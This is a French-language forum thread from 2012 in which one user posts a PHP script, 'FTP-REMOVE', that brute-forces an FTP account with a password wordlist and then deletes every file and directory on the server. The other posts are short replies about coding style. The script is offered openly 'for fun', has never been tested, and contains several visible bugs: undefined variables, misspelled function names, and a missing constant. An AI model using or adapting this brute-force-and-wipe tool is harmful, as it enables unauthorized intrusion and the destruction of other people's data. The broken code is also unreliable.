 |
|
Page 1 sur 1
|
Voir le sujet précédent :: Voir le sujet suivant |
Auteur |
Message |
|
|
|
 |
|
|
|
 |
Posté le: Ven Sep 28, 2012 12:22 pm Sujet du message: |
|
|
LECHIENKITU
Projets
Inscrit le: 01 Avr 2009
Messages: 177
|
Boarf comme je l'ai dit j'ai survolé le fofo et en tombant dessus j'ai à la fois rigolé et en même je me suis dit "Bon allez testons, pourquoi pas après tout..." et puis comme je l'ai dit c'est pour le fun et je ne l'ai pas fait pour les petits lamerz en herbe. Et ça fait longtemps que je sais scripter bougre de toi \o/ |
|
|
|
 |
|
|
|
 |
|
|
|
 |
|
|
|
 |
Posté le: Mar Oct 02, 2012 9:01 pm Sujet du message: |
|
|
alz
Projets
Inscrit le: 27 Fév 2008
Messages: 6
|
bon j'vais pas te taunt les autres l'ont fait..
du coup j'vais te proposer une v.2 histoire de ... (osef de ce que tu codes, prends tjrs la peine de le faire proprement) tu apprendras beaucoup plus vite et tes codes seront plus facile a etre repris dans dautres scripts
 |
 |
#!/usr/bin/php
<?php
/**
* .:: FTP-REMOVE ::.
*
* @author Alz
* @source lechienkitu
* @version 0.0.2
* @license OpenSource
*
* Se connecte à un serveur
* FTP avec un user pré-nommé
* et tente une intrusion par
* brute force (avec dictionnaire)
* puis supprime tous les fichiers
* présents sur le serveur.
*
* SYNTAXE: ftp.xxxx.xxx:user:file_wordlist
*
* ENJOY
**/
// Const GEN
define ( '_SYNTAX_HLP_' , 'ftpserver:user:wordlist' );
define ( '_MAX_LEN_' , '1024' ); // octets
define ( '_TRY_FTPCONN_' , 'Tentative de connection avec' );
// Const Err
define ( '_ERR_BADSYNTAX_' , 'Erreur : Mauvaise syntaxe' );
define ( '_ERR_FILENOTFOUND_' , 'Erreur : Fichier introuvable, vérifiez le chemin ou le nom du dico' );
define ( '_ERR_FILENOTREADABLE_' , 'Erreur : Impossible de lire le fichier' );
define ( '_ERR_FTP_HOSTUNAVIABLE_' , 'Erreur : Le serveur FTP est inaccessible' );
define ( '_ERR_FTP_RMFILE_' , 'Erreur : Impossible de supprimer le fichier' );
define ( '_ERR_FTP_RMDIR_' , 'Erreur : Impossible de supprimer le dossier' );
define ( '_ERR_BADPWD_' , 'Erreur : Echec de connection avec ce mot de passe' );
// Init
$i = 0;
echo _SYNTAX_HLP_ . PHP_EOL;
// User Input
$std = rtrim ( fgets( STDIN ) );
$infos = explode ( ':' , $std );
// Check Input datas
if ( count($infos) != 3)
exit( _SYNTAX_HLP_ . PHP_EOL );
// Init Var
foreach ( $infos as $i => $value )
{
$value = trim ( $value );
if ( empty ( $value ) )
exit ( _ERR_BADSYNTAX_ . PHP_EOL . SYNTAX_HLP_ . PHP_EOL );
if ( $i == 0 )
$ftpHost = ltrim ( strtolower( $value ) , 'ftp://');
elseif ( $i == 1 )
$ftpUser = strtolower ( $value );
else
$wordlist = strtolower ( $value );
}
// Check wordlist
if ( !file_exists( $wordlist ) )
exit( _ERR_FILENOTFOUND_ . PHP_EOL );
// Check FTP Host
$ftp = ftp_connect( $ftpHost ) or exit ( _ERR_FTP_HOSTUNAVIABLE_ . ' ( ' . $ftpHost .' )' );
// Loop
$fp = fopen( $wordlist , 'r' ) or exit ( _ERR_FILENOTREADABLE_ );
while ( !feof ( $file ) )
{
$password = trim ( fgets ( $fp , _MAX_LEN_ ) );
echo '[#' . ++$i . '] > ' . _TRY_FTPCONN . ' : ' . $ftpUser . '@' . $password . PHP_EOL;
try {
ftp_login ( $ftp , $ftpUser , $password ) or throw new Exception ( $password , 0 );
echo 'PASSWORD : ' . $password . PHP_EOL;
$ftpFiles = ftp_nlist ( $ftp , '.' );
foreach ( $ftpFile as $f )
{
if ( is_file ( $f ) )
ftp_delete ( $f ) or throw new Exception ( $f , 1 );
elseif ( $f != '.' && $f != '..' )
ftp_rmdir ( $f ) or throw new Exception ( $f , 2 );
}
exit ( 'Done.' . PHP_EOL );
}
catch ( Exception $e )
{
swhitch ( $e->getCode() )
{
case 0:
echo _ERR_BADPWD_ . ' ( ' . $e->getMessage() . ' )' . PHP_EOL;
break;
case 1:
echo _ERR_FTP_RMFILE_ . ' ( ' . $e->gerMessage() . ' ) ' . PHP_EOL;
break;
case 2:
echo _ERR_FTP_RMDIR_ . ' ( ' . $e->getMessage() . ' ) ' . PHP_EOL;
break;
}
}
}
// Close ressources
ftp_close ( $ftp );
fclose ( $fp );
?>
|
Je n'ai pas testé le code ... (j'm'en fou un peu au final c'etait plus pour le fun qu'autre chose)
Au passage la grosse bourde que j'ai pu voir c'est surtout que tu vide l'ensemble des dossiers du dossier FTP mais tu laisses les fichiers ...
A noter aussi que ce systeme n'est pas récursif.
D'ailleurs sur ce point tu peux t'amuser a faire une v3 en mode recursivité
Alz'enjoy. |
|
|
|
 |
Posté le: Mar Oct 02, 2012 11:38 pm Sujet du message: |
|
|
LECHIENKITU
Projets
Inscrit le: 01 Avr 2009
Messages: 177
|
Merci beaucoup Alz. Mmmh, non, je vais plutôt essayer de commencer ma petite dd de class etc... Comme Kori et toi (sur irc) me l'avez déjà conseillé. A la prochaine++ |
|
|
|
 |
Posté le: Jeu Oct 04, 2012 3:41 pm Sujet du message: |
|
|
SHEPSHEP
Projets
Inscrit le: 08 Avr 2009
Messages: 268
Localisation: /dev/null |
@LECHIENKITU : Autant pour moi alors, j'ai toujours un peu de mal avec ce genre de projet et j'ai tendance à le faire savoir assez "violemment". Sorry |
|
|
|
 |
|
 |
|
Page 1 sur 1
|
|
Vous ne pouvez pas poster de nouveaux sujets dans ce forum Vous ne pouvez pas répondre aux sujets dans ce forum Vous ne pouvez pas éditer vos messages dans ce forum Vous ne pouvez pas supprimer vos messages dans ce forum Vous ne pouvez pas voter dans les sondages de ce forum
|
|